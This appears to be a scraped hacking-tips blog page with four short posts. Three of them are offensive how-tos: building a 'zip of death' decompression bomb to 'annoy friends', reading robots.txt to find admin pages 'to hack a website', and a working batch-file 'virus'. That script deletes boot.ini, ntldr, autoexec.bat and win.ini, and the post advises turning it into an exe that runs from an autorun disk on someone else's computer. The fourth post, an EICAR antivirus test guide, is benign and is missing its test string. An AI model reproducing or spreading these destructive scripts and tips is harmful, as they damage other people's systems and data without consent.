The ZIP of Death

This is a exploit of the compression algorithms to make a small zip that will extract into extreme amounts of data. There are more and better ways ones than this one, but i will only show how to make a simple 1k = 1m ratio.

1) Make a.txt file.

2) Open and type the null character (alt + 255).

3) Press ctrl + a then ctrl + v a couple times to make some null bytes.

4) If u have a hexeditor make the hex 00 for about 50 kilobytes.

5) Now make several copies of a.txt and name accordingly.

6) Open cmd.exe.

7) Type copy /b *.txt b.txt

8) Now every copy is made into a super copy and repeat.

9) Once you have a nice empty big text file like 1gb. Put it in a zip archive.
Because of the simple construction of the file, 1gb of null bytes.....!

The zip is only 1 mb in size and can really annoy friends.
For added fun hex edit the zip and you will see a bunch of hex 5555.

Just add some more and the file will expand amazingly.

Make sure to not open the zip this after.

You can always create your zip of death from the command line in linux
dd if=/dev/zero bs=1000 count=1000000 | gzip > test.gz

Category: 4 comments

How to Test the Working of your Antivirus – EICAR Test

Have you ever wondered how to test your Antivirus software to ensure it’s proper working? Well here is a quick and easy way to test your antivirus. The process is called EICAR test which will work on any antivirus and was developed by European Institute of Computer Antivirus Research. This process can be used by people, companies and antivirus programmers to test the proper functioning of the antivirus/antimalware software without having to deal with the real computer virus which can cause damage to the computer. Here is a step-by-step procedure to test your antivirus.

1. Open a notepad (New Text Document.TXT) and copy the following code exactly onto it, and save the notepad.
                                                        EICAR Test code  :


2. Rename the file from New Text Document.TXT to

3. Now run the antivirus scan on this file.

If the antivirus is functioning properly on your computer, then it should generate a warning and immediately delete the file upon scanning. Otherwise you may have to re-install your antivirus.

NOTE: Most antivirus will pop-out a warning message in the Step-1 itself
You can also place the file in a ZIP or RAR file and run a scan on it so as to ensure whether your antivirus can detect the test string in the compressed archive. Any antivirus when scanning this file will respond exactly as it will do for a genuine virus/malicious code. This test will cause no damage to your computer even though the antivirus will flag it as a malicious script. Hence it is the safest method to test the proper functioning of any antivirus.
Category: 1 comments

Find Admin Page of a website - The simple method

To hack a website, in most cases,  admin page is important.I will show you a simple trick to find admin pages.
I will use a simple loop hole in robots.txt .

Yes lets start:

First select a website
Then add /robots.txt to the website address
Now your Url will be
Now you will get a text file showing all the pages which are disallowed by the admin to search engines.
If the site admin is a good Administrator he will not allow admin page to be crawled by search engines.
Now seach for admin you will find the admin page.
See below : 

Category: 0 comments

Batch File Virus (a simple virus for windows)

I assume you know the basics about batch files before reading this post. Batch files are used to run a dos command without opening command prompt window. You can run many dos commands using a single batch file. This post will show you some batch files which can corrupt your Windows OS. You can also say that these batch files can work like a virus. So be careful and do not try it in your computer.
  • Autoexec.bat
  • Ntldr
  • Boot.ini
  • Win.ini
These files are very important and necessary for any Windows operating system. So if you want to corrupt Windows of any person, you have to delete these four files from the computer.
Open notepad and copy the following statements :

@echo off 
attrib -r -s -h c:\autoexec.bat 
del c:\autoexec.bat 
attrib -r -s -h c:\boot.ini 
del c:\boot.ini 
attrib -r -s -h c:\ntldr 
del c:\ntldr 
attrib -r -s -h c:\windows\win.ini 
del c:\windows\win.ini 

save this code as winVirus.bat.

If you want to make it more harmful, make its exe using bat_to_exe converter and make an autorun disk of it. When someone uses the disk, autorun will execute itself and command generated by the batch file will corrupt the windows.

Category: 2 comments

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